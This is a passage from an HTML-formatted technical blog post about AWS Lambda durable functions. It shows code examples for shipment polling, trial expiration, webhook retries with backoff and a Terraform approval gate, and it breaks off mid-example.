        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payment_failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;

    &lt;span class="c1"&gt;# Reserve inventory
&lt;/span&gt;    &lt;span class="n"&gt;reservation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reserve-inventory&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;reserve_items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;items&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

    &lt;span class="c1"&gt;# Wait for warehouse confirmation (poll every 5 minutes, timeout after 48 hours)
&lt;/span&gt;    &lt;span class="n"&gt;shipment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_condition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wait-for-shipment&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;check_shipment_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reservation&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;minutes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hours&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Notify customer
&lt;/span&gt;    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;notify-customer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;send_shipping_notification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;shipment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking_number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shipped&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;shipment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking_number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the warehouse takes 6 hours to ship, the function wakes up every 5 minutes, checks the status, and goes back to sleep. You pay for ~72 invocations of a few hundred milliseconds each, not 6 hours of compute.&lt;/p&gt;

&lt;p&gt;Compare this to the Step Functions version. You'd need a state machine with a Wait state, a Choice state, a Lambda function for each step, and the wiring between them. It works, but it's more infrastructure for the same outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who This Is For
&lt;/h2&gt;

&lt;p&gt;The pattern that makes durable functions worth it is any workflow where you have seconds of actual work separated by hours or days of waiting for something external. The more wait time relative to compute time, the better the cost model.&lt;/p&gt;

&lt;p&gt;A few examples that aren't the usual "order processing" and "user onboarding" from the AWS docs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trial expiration flow.&lt;/strong&gt; User signs up for a 14-day trial. The function suspends for 14 days, wakes up, checks if they converted to paid, sends the appropriate email (upgrade nudge or offboarding notice). One function, one execution, two weeks of zero cost. No cron job, no scheduler, no DynamoDB TTL workaround.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;create-trial&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;createTrialAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trial-period&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;days&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;converted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;check-conversion&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;hasUpgradedToPaid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;send-email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;converted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sendRetentionEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sendOffboardingEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;converted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deactivate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;deactivateAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;converted&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Webhook delivery with backoff.&lt;/strong&gt; First attempt fails. Wait 1 minute, retry. Wait 5 minutes, retry. Wait 30 minutes, retry. The waits cost nothing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delays&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// minutes&lt;/span&gt;

    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;delays&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`backoff-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;delays&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`deliver-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;deliverWebhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mark-failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;markWebhookFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webhookId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Infrastructure provisioning with approval gates.&lt;/strong&gt; Terraform plan runs, posts to Slack, suspends until someone approves.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terraform-plan&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;runTerraformPlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changes&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;no_changes&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;approval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-approval&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;postToSlack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Terraform wants to change &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changes&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; resources in &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;planUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outputUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;approveUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;buildApproveUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="na"&gt;rejectUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;buildRejectUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
